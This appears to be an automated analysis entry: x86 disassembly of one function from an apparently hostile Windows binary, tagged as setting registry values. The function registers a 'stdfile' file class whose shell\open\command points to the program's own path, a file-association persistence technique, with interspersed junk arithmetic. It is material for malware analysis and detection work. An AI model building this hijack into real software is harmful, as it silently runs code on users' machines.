Function at 0x41af60
Capabilities:
Set registry value

Disassembly:
movsx eax, byte [0x45f568]
add eax, 0x27
sub esp, 0x230
cdq
sub eax, edx
push ebx
sar eax, 1
push esi
mov byte [0x45f568], al
push edi
lea eax, [esp + 0x24]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, eax
lea edi, [esp + 0x24]
movsx eax, byte [0x45f1e5]
add eax, 0x127
or ecx, 0xffffffff
cdq
sub eax, edx
lea edx, [esp + 0x130]
sar eax, 1
mov byte [0x45f1e5], al
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
movsx eax, byte [0x45f589]
and ecx, 3
add eax, 0x127
rep movsb byte es:[edi], byte [esi]
cdq
sub eax, edx
mov edi, 0x45f8c0
sar eax, 1
mov byte [0x45f589], al
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + ebx + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + ebx + 0x130]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x45f8bc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
movsx eax, byte [0x45f575]
add eax, 0x127
and ecx, 3
cdq
rep movsb byte es:[edi], byte [esi]
sub eax, edx
lea ecx, [esp + 0x10]
sar eax, 1
mov byte [0x45f575], al
push ecx
push 0xf003f
push 0
push 0
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b1e2
lea edx, [esp + 0xc]
push eax
push edx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push eax
push 0x20006
push eax
push 0x462070
push eax
mov eax, dword [esp + 0x2c]
push 0x45f8b4
push eax
call esi
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 7
push str.stdfile
push 1
push 0
push 0
push ecx
call edi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0xc]
push 0
push edx
push 0
push 0x20006
push 0
push 0x462070
push 0
push str.stdfile
push eax
call esi
mov ecx, dword [esp + 0xc]
push 0xe
push 0x45f89c
push 1
push 0
push 0
push ecx
call edi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x1c]
push 0
push edx
push 0
push 0x20006
push 0
push 0x462070
push 0
push str.defaulticon
push eax
call esi
movsx eax, byte [0x45f54c]
add eax, 0x27
add ebx, 3
cdq
lea ecx, [esp + 0x130]
push ebx
push ecx
sub eax, edx
mov edx, dword [esp + 0x24]
push 1
push 0
push 0
sar eax, 1
push edx
mov byte [0x45f54c], al
call edi
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push 0
push eax
push 0
push 0x20006
push 0
push 0x462070
push 0
push str.shell
push ecx
call esi
movsx eax, byte [0x45f588]
add eax, 0x27
push 0
cdq
sub eax, edx
lea edx, [esp + 0x24]
push edx
push 0
sar eax, 1
push 0x20006
push 0
mov byte [0x45f588], al
mov eax, dword [esp + 0x28]
push 0x462070
push 0
push str.open
push eax
call esi
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x18]
push 0
push ecx
push 0
push 0x20006
push 0
push 0x462070
push 0
push str.command
push edx
call esi
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x24]
push ebx
push eax
push 1
push 0
push 0
push ecx
call edi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsx eax, byte [0x45f569]
add eax, 0x127
cdq
sub eax, edx
sar eax, 1
mov byte [0x45f569], al
pop edi
pop esi
pop ebx
add esp, 0x230
ret